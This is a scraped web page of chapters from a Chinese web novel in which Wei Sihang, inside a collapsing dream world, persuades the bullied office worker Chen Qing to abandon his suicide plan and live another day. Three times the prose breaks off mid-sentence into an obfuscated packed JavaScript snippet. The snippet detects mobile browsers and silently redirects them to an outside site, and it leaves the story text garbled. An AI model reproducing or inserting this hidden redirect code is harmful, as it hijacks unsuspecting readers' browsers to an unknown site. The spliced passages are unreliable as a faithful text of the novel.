另一种有节奏的声音在安静的房间里响起,渐渐变得无法忽视。苇思航被听觉唤醒回忆似的,想起,她刚进入这个梦魇时,曾经进过女厕的,当时也是这个声音,把她吓得不轻。 她坚持改道进入女厕,有她的考量。 除了避难,这个对于陈青来说有着许多意义的女厕,里面是否还藏着什么? 滴答,滴答,滴答。 像是水龙头没有拧紧,水滴断断续续滴落的声音。 苇思航来不及说什么,身边的陆萌二话不说,离开了门边,走过去一个一个推开隔间检查里面的情况,样子看起来十分谨慎。 就在这时,兜里沉寂的耳麦又再次响了起来。 “……苇姐?苇姐你在吗?我是含晦!” 苇思航听到那个声音,十分激动,按住耳麦:“含晦!我在!” “小晴出去了,我拿到了耳麦,”含晦解释道,“苇姐,你和科长都还好吗?我在21层,监控页面不知道怎么了,我看不到你们……” 苇思航回答:“我们现在在西塔,暂时过不去,情况有点复杂……我和农民哥失散了……他没有来找你吗?” 含晦声音低落:“没有。我没有等到他,监控里也没看到……” 自从茶水间一行,尉迟龙鸣就失去了踪迹。如果说有什么好消息,大概是含晦那边看到的员工状态,尉迟龙鸣现在还活着。 “陈青——也就是小晴,她去哪里了?” 含晦道:“她离开了……好像是说回去上班了……” 苇思航一怔,随后想到,是了,他说过几次,今天还要上班,大概是去执行他现实中的计划去了。 可他如果已经醒了,为什么这个梦魇还存在着? “苇姐,我是真不知道怎么办了,我们还能出去吗……我都有点记不清自己的名字了……我是叫梁栋?还是什么来着……”耳麦那边的声音十分黯淡。 “可以的!一定可以!”苇思航苍白地回应着,“含晦,你叫含晦!坚持住!我会想办法过去找你!” 含晦像是苦笑了下,低低应了。苇思航也不知道说什么好。 灵坟之外,还有即将诞生的“新世界”的阴影,同时也在挑战着她的理智。 她早已失去了一开始的乐观,他们还能活着,意识清醒地从这里出去吗? 通讯又一次断掉了,苇思航站在原地,出了一会神。和含晦短暂通话的功夫,陆萌也检查完了所有隔间,此时一脸便秘,嘟囔着:“没看到哪里水管有漏水啊,奇怪,那声音从哪儿来的……” 滴答,滴答,滴答。 那声音仿佛钻进人的耳朵眼,滴落在人绷紧的神经之上,让人十分烦躁。 陆萌转身,猛地对上洗手台的镜子,又大叫一声。 “我去!” 苇思航被那一声惊叫拉回思绪:“怎么了怎么了?” 陆萌心有余悸地抚着波涛汹涌的胸口,仇人一样指着占据了洗手间一面墙的镜子,这时苇思航也想起来了。 那面照不出人像的镜子,实在是太诡异了。 陆萌的惊吓没持续多久,很 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虽说附近也有加班的,但通宵到这个时候的也不多见,再过几个小时就又要上班了,不抓紧时间睡觉,在附近闲逛,吃饱了撑的? 按道理来说,作为一个负责任的保安,他现在应该马上把屁股从座位上挪开,出去询问情况。如果是可疑的流浪汉,应该当场劝离……但是吧,夏夜的晚上,岗亭里小风扇吹着,犯懒是人之常情。 王叔换了个姿势,翘着二郎腿坐着,旋开一罐清凉油,用掌心把药膏抹在太阳穴上提神。他头痛啊,想睡,可又不敢睡,刚才就犯了一会瞌睡,梦到死人啦,怪物啦,漫天的洪水和没有防护的楼顶,吓死个人了! 再一抬眼,那个人影果然不在了。他就说嘛!肯定是他老花眼,看错了。多一事不如少一事,反正他再过几个小时就能交班了。 …… 陈青拐过一个弯,岗亭便看不见了。 他不知道为什么,突然很想下楼来走一走,下意识又走到了保安岗亭附近。 今天晚上值班的不是梁栋。 又想起他了,心里传来些微的刺痛。 他几乎已经想不起,他们上次最后一面的情形了,假如当时知道,那就是最后一面…… 没关系,梦里还有一个梁栋,只属于他的梁栋,现在正在等他完成了一切,回去找他呢。 他刻意拐到楼后面,头一次离得这么近,看着自己工位外的风景。 那棵快枯死的树,像一个被烧死的人;一根铁管愣愣地朝天支着,看起来满腹心事。 他站在那里,仰头朝着四楼的窗户望去,好像和另一个忧伤的自己隔空对视。 不出所料的话,他将会死在这里。 32. 31. 黑池(二十四) 红色的工牌上有着那个熟悉的三个圆重叠的标识,上面写着“临时通行证”的字样,登记的人名是苇思航。 原来这个通行证的用处,可比想象中大得多啊…… 据陆萌介绍,“新世界”目前初具雏形,通往剩下两个世界的裂隙尚未闭合……原理苇思航左耳进右耳出,总之记不清了。 “我回来了。”女厕的门从外面打开,苇思航从一片枪林弹雨的走廊里闪身进入,提起一点声音,宣布自己的回归。 陆萌和大触欢呼雀跃地迎接她:“怎么样怎么样?” 苇思航道:“过去是过去了……” 刚听完一句,陆萌抱着大触欢呼起来! 发现镜子的不同寻常之处之后,她经过几次实验,基本可以确定这个规律:西塔的镜子通往实界,实界的镜子通往东塔,新世界——实界——灵界,以镜子为媒介,按照这样的顺序单向通行。 她刚刚到了东塔的女厕,再一顿跑过来的。有了那张万能的通行证,连廊也不在话下。 “你猜我在东塔看到谁了?农民哥!呃,你可能不认识,就是咱们的另一个同伴……”苇思航道。 那两个又是一顿捧场的欢呼! 当她从东塔的女厕中现身,看到一脸惊恐的尉迟龙鸣时,苇思航也十分惊讶,后者的大刀差一点就砍了下来。怪不得含晦在监控屏幕上找不到他的踪迹,因为厕所本就是监控的盲区。至于农民哥是怎么到那里的……还记得他今天使用了两次特殊能力带来的随机增益吗?当时他预感到了危险,得以随机传送到最近的厕所,他还没来得及告诉同伴,福兮祸之所倚,他的耳麦不小心被马桶冲走……然后就没有然后了。 没想到这一趟还能有意外收获,确实值得高兴没错,苇思航却不得不示意那两个稍安勿躁:“可是吧……” 事情从头从她穿过镜子,奇迹般地来到实界说起。 当时,她双手双脚爬上洗手台,又从镜子里爬出来,觉得自己活像那个……贞子…… 耳边听到越来越近,越来越清晰的滴水声,苇思航寻着声音找到最后一个隔间——应该是保洁的清洁间的地方,水龙头没有拧紧,在地上聚起一小摊水洼。 她想也不想,伸手想把水龙头拧紧,手却从水龙头上径直穿过。 她不信邪,又试了几次,还是一样的结果。 贞子什么的……还真别说,她真就像个孤魂野鬼一样……难道是一语成谶? 她只能暂时放下漏水的水龙头不管,出了女厕门,在外巡视一圈。 凌晨的办公区还是那样,一片黑暗,她再一次来到陈青的工位,在窗外的路灯下,看到了从楼下抬头张望的一脸麻木的陈青本人。 他果然也来到了实界! 暗淡的路灯在熹微的天光下像是即将熄灭的蜡烛,他清秀而苍白的脸上像是蒙了一层灰烬。 有那么一刻,苇思航以为他看见自己了,好容易没有自乱阵脚,他又把目光移开了。 他没有看到她。 如果触摸不到实体,她能够做的实在有限,根本不知道要怎么样才能阻止陈青的计划,想想就发愁。 苇思航躲得很小心,只知道在那之后,陈青重新上了四楼,之后就一直待在公司的茶水间,她的嗅觉重新复苏了,闻到茶水间里传来红茶的香味。 她待了不很久,无所事事,只能离开。好在这时距离上班还有好一会呢。 “奇怪……”听了苇思航的讲述,陆萌皱起眉头,摸着下巴思索,一旁的大触有样学样。 “按理来说,你的梦灵回到实界,身体就会有所感应,你的身体呢?难道是距离太远了?” 苇思航早知道自己是个十分奇怪的梦灵了,自然不知道这个问题的答案,闻言只能叹了口气。 “刚才只能算做了个试验,咱们得想个具体的计划才行……怎样才能阻止陈青呢?”苇思航道,“而且是在我只能是阿飘的情况下?” 陆萌和大触俨然成了气氛组,除了加油助威之外毫无用处:“全靠你了苇姐!” 苇思航:“……” 陆萌:“你话疗有信心吗?” 苇思航:“没有……” “没办法碰触到实体,确实是个大问题,”陆萌道,“如果这个问题解决了,我觉得,可以给这个号码打电话。” 说着,他报上一段电话号码一样的数字。 苇思航奇道:“这是什么?” 陆萌答:“我觉得是手机号码。刚才在徐振电脑上看到的。” “你让陈青给徐振打电话?” “不是啊。噢,我没说清楚——这个应该是给徐振发匿名邮件的那个人的电话。” 苇思航皱起眉头:“真的假的?谁发匿名邮件,结果手机实名制?那不一查就查出来了吗?” “……你没明白,这是在陈青的梦里啊!” 现实中是否真的有这件事情都存疑,梦境反映潜意识,至少说明,陈青希望有人拉他一把的时候,他心里的那个人是他…… 苇思航若有所思地点点头,反复在嘴里念叨几遍,记下了,如果她有“手”能打电话的话…… 唉,说了半天,问题的关键,这不又绕回来了? “就不能来个人嘛!”陆萌哀嚎,“你是鬼的话,找个人上身总行了吧?” 苇思航苦哈哈地:“谁说不是……” 他们正说着。 滴答声突然停了。 苇思航手指放在嘴边,冲陆萌:“嘘!” 陆萌随之噤声,脸上浮现疑惑的神色。 他们都以为自己听错了,可是那滴答声,迟迟再没有响起。 两人对视一眼,疑惑变成了狂喜。 * 橡胶靴踩在水上,吴春花走过去,关掉了漏水的水龙头,嘴里嘟嘟囔囔,大概是觉得可惜,自来水就这样漏了一夜,虽然是公家的钱,她也心疼啊! 上班第一件事,她三两下把地上的水洼拖干净,随后走到洗手台前,麻利地开始搓洗抹布。镜子里映出一张朴实无华的中年妇女的脸。 她是这一栋楼的保洁员,六点钟,天刚刚亮,白领们还没到上班的时间,她的晨间工作就已经开始了。 她没想到的是,茶水间里亮着灯,这么早,这公司已经有人来了? “妹妹。” 她满脸堆笑,从一角探出头来。 对方被吓了一跳,目光闪烁地看着她。 “对不起对不起,吓到你了吧?”吴春花忙道歉,看着眼前这个白净柔弱的女孩子。 她看起来年纪很小,清瘦高挑,打扮嘛,倒不像在这附近上班的。她听她女儿说过,好像是叫“二次元”吧? 茶水间被布置了一番,全是她一人所为,桌上摆放着精美的蛋糕和零食,一旁还没拆开的饮料应有尽有,空气中飘着红茶的香味,唤醒清晨的肠胃关于进食的记忆。 一大早这是在做什么呢? 她本来想问,又忍住了,对方的目光沉沉将她望着,一直也没有开口说话。 “不好意思啊,我是想问……这些纸壳,你还要吗?” “你拿走吧。”陈青开口,没有做作的声音,一听就知道是男声。 吴春花挠挠头,忙道谢过,接着利索地把一旁的纸壳叠起,夹在腋下,就要离开。 “等下。” 吴春花回头,还以为对方是要留她,推辞道:“不用不用,我吃过早饭了。” 对方疑惑地看着她,她才明白自己是误会了。 她反应过来,缓解尴尬的反应是笑。 陈青更加疑惑地看着她,诚然那笑容有些突兀,但还不至于……陈青看着她的那副样子,就像是文明人对原始社会的习性感到不解那样。 有什么好笑的? 她是在笑什么?笑他吗? 他很好笑吗? “不好意思啊,小陈,我不是……”吴春花终于正色,被盯着看的也有几分紧张起来。 陈青在听到“小陈”的瞬间眨了眨眼。 她从什么时候认出他来的? 吴春花心里打鼓,没再说什么,站在那里接受着他的审视。 她做楼里的保洁,也有几年了,本来还不确定,陈青说话的当儿,就认出了他。吴春花自觉,他们之前还算有点交情,难道不是? 又过了一会,陈青才开口道:“我本来是想说,你不用打扫四楼的,不是吗。” 吴春花大大咧咧地摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752464|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,又会错了意:“这有啥的,你忘了,姨都做惯了,顺手的事儿。我两三下弄完事,你不也省心了。” “谢谢你啊,孩子。”吴春花冲陈青笑,示意手中的纸壳。 陈青突然心里一酸。 因为他们公司和物业之间的矛盾,物业聘请的保洁按理说是要跳过四层的,公司反过来要求员工负责值日卫生,这个脏活后来默认落到了陈青身上。 陈青来公司五个月,扫了四个月的厕所。 他就是这个时候和吴春花认识的。 他还记得那一天,他低着头,默不作声提着水桶和拖布,在其他人私下里交换的目光中来到女厕门口。 “对不起。” 身后传来女人们的窃窃私语。 “男的来打扫女厕啊,怎么想的……” “他没事吧?” “你关心他做什么?说不定人家喜欢!哈哈哈……” 陈青木着脸,走向尽头的隔间。 门从里面锁住了,他伸手敲了敲门。 他有一种不真实的感觉,好像回到了那天的女厕,躲在隔间里瑟瑟发抖的就是他自己…… “马上马上!”里面传来一个声音。 一脸倦容的吴春花打开门,和陈青对上。 “对不起啊……” 她太累了,趁人少的时候,抽空来4楼的厕所里坐在马桶上睡上一会儿。 被发现了,她很不好意思,夺过陈青手里的清洁用具,推着他出门。 “孩子,不用你,出去吧,阿姨几下就给你收拾利索了。” 陈青拗不过。 “那……谢谢了。” 他经常挂在嘴边的是“对不起”,说的很少的是“谢谢”。 一开始只是偶然,又或是保洁员偷懒被发现的小小贿赂,谁也没往心里去。 不知是从什么时候开始,情况有了变化。 “怎么又让你干这活?你们公司连做卫生的人都请不起吗?”吴春花渐渐发现了端倪,忍不住为陈青打抱不平。 “行了,你回位置上去吧,剩下的让姨来,姨都做顺手了,几分钟的事儿!”吴春花总这么说。 “不用,您歇着,我来……” “出去出去!姨只能帮你到这儿了,你没别的活儿要干嘛?” 吴春花给陈青赶出去了。 陈青觉得“谢谢”有些苍白,从售货机给吴春花买了甜饮料。 吴春花擦着汗,也不推辞,冲他笑:“谢谢你啊,孩子。” “……不用谢。”陈青嗫嚅道。 继“对不起”“谢谢”之后,“不用谢”——他也有一种陌生的感觉。 买饮料成了习惯,一来二去的,两人混了个脸熟。 “谢谢,小陈。” “不用谢。这算什么呀。”陈青低下头,撕着自己那一瓶饮料上面的贴纸——这一瓶是刚刚苇姐给他的。 他心里有些失落,自从吴春花知道了他的名字,不叫他“孩子”了。 两个人躲在清洁间享受着短暂的下午茶。 “就算你们公司不打算另外请人,这种事情不应该轮流着来吗?怎么总让你一个人干?”吴春花又道。 陈青低着头,默默不语。 “是你同事他们欺负你?” “没有的事,阿姨。” 吴春花有点后悔自己多嘴,可又忍不住:“看见你,我总想到我女儿,一个人在另一个城市打拼呢……唉,不知道会不会受人欺负……” …… 人声渐渐远去了,清晨的茶水间,陈青身着女装,直直地坐着,周身仿佛罩着一个真空的匣子。 像是外表保持着新鲜的花束,内里却已经腐烂。 他想起来了。 吴姨对他施舍的好意,也不是真的。 吴春花站在他对面,渐渐觉得情况有些不对劲,笑容也变得局促不安。 “今天之后,你都不用再打扫四层了。” “今天是我最后一天上班。” 陈青语气平静,目光仿佛看着一个陌生人。 吴春花先是一愣,接着低低地应了一声:“欸。” 她腋下夹着一排纸皮,走出了茶水间。 33. 32. 黑池(完) 吴春花回女厕拿东西,胸口闷闷的,因为陈青的态度,心情有些低落。 她有很多话想说,又害怕自己倚老卖老,多管闲事……就撂下了。 她刚出隔间,转头瞥到洗手台的镜子,似乎看到一个影子,以为自己花了眼,下一秒,一股无法抗拒的困倦袭来,她后退两步,差点摔倒,万幸坐倒在马桶盖上,从此人事不知。 又过了几秒钟,“吴春花”的身体睁开眼睛,芯子却换了个人——苇思航。 苇思航确定自己“借尸还魂”成功,来不及庆幸,马上伸手去摸口袋,果然摸到了一个硬硬的方块,吴春花的手机。 她赶在记忆消失之前,在键盘上打下一串数字……最后一个是5还是6来着? 不管了!都试试! 幸而这是在现实,不是在梦里,手机不负众望,拨通号码。 第一个号码是空号。 第二个等了一会,接通了。 “老板,什么事?”那边传来一个女声,一听就是刚睡醒,苇思航屏住呼吸。 接电话的那人看了眼手机,确认:“你不是我导师?谁啊?大清早的惹人清梦!滚啊!” 苇思航:“……” 被挂断之后五秒,苇思航又拨了过去。 “喂,老板?”历史再次重演,仿佛记忆重置。 这次苇思航不敢耽搁,赶在那人反应过来之前:“……请问你认识陈青吗?” * 茶水间里,陈青呆坐在位置上,很长一段时间,没有任何动作,连呼吸都很轻微。 忘了时间,忘了空间,忘了是活着还是死了,醒了还是做梦,任自己的思绪在广袤的宇宙之间飘摇。 “新世界”留在他灵魂中那个影子适时出现,像在质问他。 你反悔了吗? 不,不,我没有。 但自从吴春花的意外出现,他的心里确实有了一些别的什么。他感到疲倦,想念一个柔软的枕头,感到自己的头发和假发之间濡湿地摩擦着,他猛地想起来,是刚才在外面走的时候淋到了雨……咦,外面下雨了? 滴答,滴答,滴答。 他听到了屋外的雨声,迟钝地动了动手指,放在一旁的手机在此时亮起一条通知。 “梁栋”发来3条消息。 梁栋…… 但陈青没有动。 直到“伽利lo略略略”发来1条消息。 这个好久不见的名字让陈青拿起手机。 伽利lo略略略:雨什么时候停啊? 没头没脑的一句。 两人上次的对话停在两个月前。一旦一个人开了口,就仿佛无缝衔接一般。 陈青在发觉自己在干什么之前,已经开始打字了。 晚晴:是啊,雨什么时候停。 ——伽利lo略略略,本名王佳丽,是陈青大学动漫社时期认识的朋友,闺蜜,也可以这样说。双方对彼此了如指掌,当然,那都是毕业之前的事了。 毕业之后,佳丽留校读研,陈青找到新工作,隔着大半个城市,距离连带着心也疏远了。 ——或许心从来没有疏远过。 伽利lo略略略:我过的好惨啊!导师巨难缠,没事拿我开涮。 晚晴:我也是。 伽利lo略略略:你上班的嘛,下班就是自己的时间了,不像我全年无休当牛马……上次社里聚会在周末,你怎么没去? 陈青沉默半响,不忍心告诉她自己已经退社了,开始打字“下次一定”,那边活像长了眼睛。 伽利lo略略略:你是不是又要用下次一定敷衍我! 陈青删掉重发:哈哈。 也是,可能没有下次了。 伽利lo略略略:夏天了,买新裙子了吗? 陈青:买了。 她正穿在身上,还计划要穿着它死。 伽利lo略略略:我今天请假了,你是不是也好久没休假了?要不要一起出来玩?我可以去市中心找你哦! 陈青久久看着屏幕,没有回复,半响,把手机倒扣在桌面上。 红茶的香气飘到鼻端。 另一个人来到茶水间,此时正在倒茶。 陈青抬头,见是吴春花去而复返。 又好像不是。 “我能喝点吗?” 陈青定定看着她:“最好不要。” 这是他给那帮人准备的。 这可是徐哥的lastday啊。虽然那帮人内部闹掰了,总得给彼此点面子不是? 吴春花于是把盛着热茶的杯子推到一边,两人一起看着袅袅上升的雾气。 不用多说,他认出她来了。 苇思航临时改变了主意,也没想着藏。 像是回到了半空中那个敞开心扉的铁盒子里,两人继续之前的谈话,不过是在现实中。 “苇姐,我好像在做梦噢。” “是吗。” “怎么分辨自己是不是在做梦?” “你不是闻到了吗,红茶的味道。” “我还以为,这是痛苦的味道。”陈青笑着,伸了个懒腰。 “苇姐,我总是感到痛苦,为什么我这么痛苦?只有我痛苦,还是所有人都痛苦?是因为我懦弱所以痛苦吗?是因为我年轻所以痛苦吗?是因为我脆弱所以痛苦吗?” 苇思航想了很久,最后摇摇头。 “其实我也不知道。” “我想让你坚持下去,但没法向你保证,人生可能永远痛苦,可能根本没有意义……只有活过才有答案。然后你会知道,20岁有20岁的痛苦,30岁有30岁的痛苦,可能你有一天发现,天啊,原来还可以这么痛苦,回头看看,好像20岁时过不去的坎也就那么回事了。” 陈青忍不住轻轻一哂:“苇姐,你就这么劝人啊?” “嗯啊,有效果吗?” “可以说是全天下最可怕的剧透了。” 苇思航不好意思地笑了:“我觉得自己还没到能给你人生建议的时候,不过,要我说的话,有痛苦,也会有幸福。比起痛苦,我好像更害怕无聊。” “你真的想好了吗?要永远活在那个虚幻的只有办公楼的新世界里?难道去那里也要天天上班吗?” 陈青默然不语。 “你明明有徐振的照片,为什么只发给他一个人?你不选择报复他,宁可选择惩罚你自己。”苇思航道,“还有啊,对我和含晦——就是你的新梁栋——未免也太残忍了些?” “对不起……” “别说对不起啦。”苇思航轻声道,“你不会对不起我,因为我会阻止你的。” 那句话好像在说,我会救你的。 真的……没办法了呀…… 对不起,实在坚持不下去了…… 他真的很想要谁来拉他一把。 即使那个人是魔鬼,诱饵是可疑的新世界。 只因他不敢奢求朝他伸出手的,能是梁栋,吴姨,还是佳丽,又或者是苇姐。 他心里明白,就像苇姐说的,他对她最不公平。他不忍打搅其他人的生活,却强行将苇姐拉入那个新世界,既自私又残酷。苇姐又做错了什么? 不,苇姐什么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754058|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有做错,他甚至并不那么了解苇姐本人,只因那是他所憧憬的,33岁的自己。 他在21岁的时候向前张望,永远无法抵达,却又克制不住向往的33岁。 你反悔了吗?心里那个声音在质问。 不…… 滴答,滴答,滴答。 眼底的酸涩无法忍受,眼泪力透千钧地掉了下来。 “要再多活一天吗?” 他早就想那样做,颤抖地握住那只伸过来的手。 * 茶杯翻倒在桌面上,深红色的茶水整个泼洒出来,在桌上留下一滩显眼的水迹,茶水沿着桌面不断滴落到地毯上。 滴答,滴答,滴答。 被切开的蛋糕像是横陈的肢体,白花花松软的奶油糕体内盛满红色的果酱,混合着奶油和果酱的刀具随意弃置在一旁。 我站在原地,手里端着一碟蛋糕,突然忘记了自己为什么会在这里。 身边站着其他人,徐振,刘晨曦……往常我根本不敢正眼对视的,那些人。 他们一个一个痴傻而蠢笨,呆呆地将蛋糕送入口中,刘晨曦像是感冒了一样,喉咙里发出轰隆轰隆的咳痰声,一根触手像浮漂一样拎着她的脑袋抽吸,徐振则像得了颈椎病,头歪向一边,一边肩膀不正常地耸着,像是扎的太过草率的稻草人——我一点也不惊讶,仿佛早知他们光鲜的外表下藏着这样的怪物。 “麻烦让一下。”一个人的声音从角落传来,温声细语,打破了气氛有点凝滞的下午茶现场。 所有人齐刷刷地转头,像摩西站在红海前似的,中间分出一条路来。 徐振的脑袋承受不住动作,掉在了地上,我突然想笑。 说话的那个人,我看见了,我知道是她。 ——苇姐。 眼前的一切像是电影镜头,其他人成了背景板,朝着她突然拉近,我的视野无比清晰,连她镜框折角上的几道划痕都清晰可见。 身边传来同事的痛呼,几声人体倒地的闷响,连带着茶水间的椅子在地板上划出刺耳的声音,我没有转头去看,脑海中却无比清晰地看到了一张张失去意识,五官流出脓血的面孔……他们的脖子奇形怪状地弯折着,有的脸砸在松软的蛋糕上,真是可惜,那就不能吃了。 电影镜头成了默片,一切声音都远去了,只余光影。午后和煦的阳光透过写字楼的窗户,无比温柔明亮。我在原地动弹不得,塑料叉子支在糊成一团的奶油蛋糕上,好似也在融化。 当苇姐走到我身边的时候,茶水间里只剩下我们两个人站着了。 苇姐的语气如记忆中一样温柔包容,问我:“……蛋糕好吃吗?” 我点点头。 她拉着我,我们一路走到我的工位附近。窗外的天已经亮了起来,我凝视着我晨光中的坟墓——不知何时,那棵烧死的树和朝天的钢管都不见了,取而代之的是一片翻滚的黑水,阳光照在黑水之上,散发出一种斑斓而明丽的光彩。 “该醒过来了。”苇姐对我说,引我一步一步来到窗边。 我好像知道接下来要做什么,可我有点害怕。 “会很痛苦吗?” “我也不知道。”苇姐摇摇头,甚至不愿意随口哄我,给我一个答案,“但是我们说好了,再多活一天。” 我点点头。我没忘。 窗户不见了,像是一个光亮的引人通往新世界的入口。 她把我向入口推去,我没有抗拒,迈出一步,人已经在半空中了。 她松开我的手,我以为我会坠落——可是没有。 我飞了起来。 34. 33. 逃出 我飞了起来。 忘了时间,忘了空间,忘了是活着还是死了,醒了还是做梦,任自己的思绪在广袤的宇宙之间飘摇。 直到另一双手把我拉回地面。 “醒醒,小陈。醒醒啊。” 我睁开眼,从工位上懵然坐起身来,一只胳膊被压得发麻了,带来蚂蚁咬噬的触感,迎面对上去而复返的吴姨关切的眼神。 我想了一会,才辨认出真的是她。 “吴姨,有什么事吗?”我还有点搞不清楚状况。 “没啥事。你说你要离职了,姨为你高兴。趁你同事还没到,过来跟你说两句话。”她笑着说,眼睛里亮亮的,不知从哪里拿出一束鲜花,递给我,“这个是姨捡来的,我看着还挺好的,也很干净,别嫌弃。” “我看别人离职都拿把花,咱们小陈也要有啊。” 接过那束新鲜的花,我的眼泪忍不住流了出来。 “这个呢,是我刚下去买的。”她抓着我的手,在我手腕上留下一串芳香的白花串。清晨的小贩沿街叫卖,黄桷兰啊…… “今后要好好的。” “谢谢你,吴姨……” “哭什么啊,别哭别哭,多大点事……这孩子。” 早上八点,我收拾东西,手机响了,是佳丽发来信息。 “我地铁还有三站到你公司附近,敢放我鸽子的话你就死定了!” 我提起嘴角,回她一句:“一会地铁站见。” 她才满意,发来一个可爱的表情,让我想起她被阳光照的毛茸茸的脸蛋——清晨的阳光从我工位的窗户照了进来。 对了,今天不上班了,我还没有请假呢。 我干脆发了三封邮件,关掉电脑。 一封请假。 一封辞职。 一封群发,内容是徐振的照片。 我怀疑他都没有怀疑拿到照片的人是我,可恶!我是什么很容易忘记的人吗? 收拾好一切,我拿着包准备离开,正好遇到了某个早早来上班的同事,与他擦肩而过。 “早。” 我跟他打招呼,许是看到了我的装扮,他一开始没认出我来,待想到我是谁,他的眼睛蓦地瞪大了。 我抬头挺胸,悠然坐电梯下了楼。 梁栋的信息还躺在未读消息里,我点开扫了一眼。 梁栋:我又想了想,要不我们还是见面吧。 梁栋:周末来我家? 梁栋:你准备穿什么啊? 我收起手机,没再看了。 走出办公楼的时候,屋外的雨已经停了,热气还没有来得及发力,堪称温柔的阳光照到身上,我依然觉得痛苦。那种痛苦有种通透的感觉,有点像青春期骨缝里的生长痛。 新的一天似乎也没有什么不同。 不过我答应了苇姐,要多活一天。 苇姐…… 我竟突然想不起了,记忆变得模糊不清……是哪一位来着? * 灵界,黑池魇境。 梦茧大厦东塔一侧。 失去了主人的梦境正在崩塌,灵坟的根基正在动摇! “苇姐!这边!” 苇思航转过身,朝着同伴的方向跑去,含晦和尉迟龙鸣早在拐角处等着她。 在苇思航抵达的同时,三个人一起转头朝男厕跑去。 “程序我改好了,随时可以跳转。”含晦表示。 不坐电梯,他们再一次通过男厕顺利来到21层。 空气中漂浮着一种隐隐的躁动,周围的一切出现了不正常的频闪,像是同一时间不同的梦境重叠在一起,不知什么时候就将全面崩塌。 “在这儿等我!” 苇思航让剩下二人停在连廊的一端,自己则轻车熟路地朝着西塔跑去。 由于梦主脱离导致的混乱,西塔的“新世界”首当其冲,崩塌在即。 苇思航心里打鼓,尽管充满了对未知的不安,不影响她如履平地,稳稳通过连廊。 胸前挂着的通行证还没有消失,依旧为她保驾护航。 苇思航按住临走前从含晦哪里取来的耳麦,与另一边对话:“我马上过来了,你来了吗?” “喂……喂?” 过了一会,那边响起陆萌漫不经心的声音:“来了来了。我和大触就等着你呢!” 苇思航心里一松。 上一次离开西塔前,她特意留下耳麦,交代了陆萌假如计划成功的下一步安排——当然,如果计划失败,也就没有然后了。 一切顺利的话,她会从东塔赶回西塔,约好两人在西塔连廊的停车场见。 至于为什么是停车场呢……她怎么可能忘记,她的0373。 梦主离开了,她算是成功了吗? 她一开始的计划,通过在魇境的叠加态中胜出,短暂地改变整个梦茧大厦的外观,从而让困在地下停车场的0373有路可逃。 现在是什么情况? 她已经看到陆萌的身影,身边跟着大触,抬起双手朝她招呼,生怕苇姐看不见他俩。 而身边那辆白色的小汽车,赫然是——0373! 她的外化成功了! “走!上车!” 车门自动解锁,苇思航毫不犹豫拉开车门。 “召唤”来0373无疑给苇思航增添了信心,她现在可以确定了,现在,这里是她的主场! 车门打开又关闭,苇思航重新感受到驾驶舱里还未散尽的冷气,和被黑水浸泡过后残余的潮湿。她三下五除二系好安全带,发动车子,然而这一次和以往不一样的是,不仅是仪表盘,横在主副驾中间的电子屏幕也亮了起来。 “老大你终于回来了——!”像是刚睡醒,随着车子发动的一声轰鸣,电子音熟悉的声音在车厢中炸开。 主副驾上的两人同时应了一声:“嗯。” “嗯——嗯?”陆萌强迫自己尾音上扬,装作吃惊不已,干干笑道:“哇,苇姐,你的车是不是升级了,现在好高级啊!” 苇思航愣了一下:“你也能听见啊?” 那不是她的系统吗? “听见什么?”陆萌头也不抬地撒谎,装作摸着开机的电子屏啧啧称奇,爱不释手。 没时间深究了,苇思航准确无误地踩上油门,0373轮胎摩擦着地面的声音尖利,呼啸着冲出! 陈青不在了,她现在就是这个梦境的主宰! 她的主场!她说了算! 0373以一往无前的姿态,冲出西塔,四轮悬空,直接冲上连廊,仿佛身处虚空,依旧朝前行驶,前轮首先接触到东塔的地面,紧接着四轮着地,稳稳停在目瞪口呆的含晦和尉迟龙鸣面前。 如何都无法理解,身处21层的高档写字楼,突然从空中连廊的另一头开来一辆白色小轿车这件事。 “没时间了,快上车!”苇思航招呼那两人。 整个梦茧大厦从地基开始,仿佛正在经历一场地震,灵坟内掩埋的灵体和他们破碎的梦境一起,共同汇成精神力的乱流,上次经历过的危险的梦境坍流又出现了。其中,一道凝聚的精神力突破了重围,凌驾于所有之上,掌握了控制权。如果此时从外部看,就能看到整个大厦的外观正在飞快坍塌又重组,进行着一场惊心动魄的改造。 含晦和尉迟龙鸣上了车。 尉迟龙鸣坐在后排,忍不住催促:“上车了,然后呢?往哪儿开?” 他早已对命运感到悲观,早已放弃了逃离灵坟的希望。 0373停在原地,底盘轻轻地喘息着,仿佛等待主人发令的猎豹。 同在后排的含晦默默系上安全带。 尉迟龙鸣不耐,半个身子往前探,车子斜对着紧闭的电梯门,也不知道司机苇思航正在等什么:“前面也没路——” 他的话还没说完,0373冲了出去。 强大的惯性差点把他的脖子折断,现在他一脸惊恐,咬牙没有叫出声,上半身死死贴在椅背上。 第一个S弯,他被无情地甩到左边,然后是右边,他的屁股离开了坐垫,额头亲吻着车顶。 别急,这才刚开始呢! 经过苇思航的一番外化,原本的梦茧大厦结构已经面目全非,只见21层刚刚还是死路的前方, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 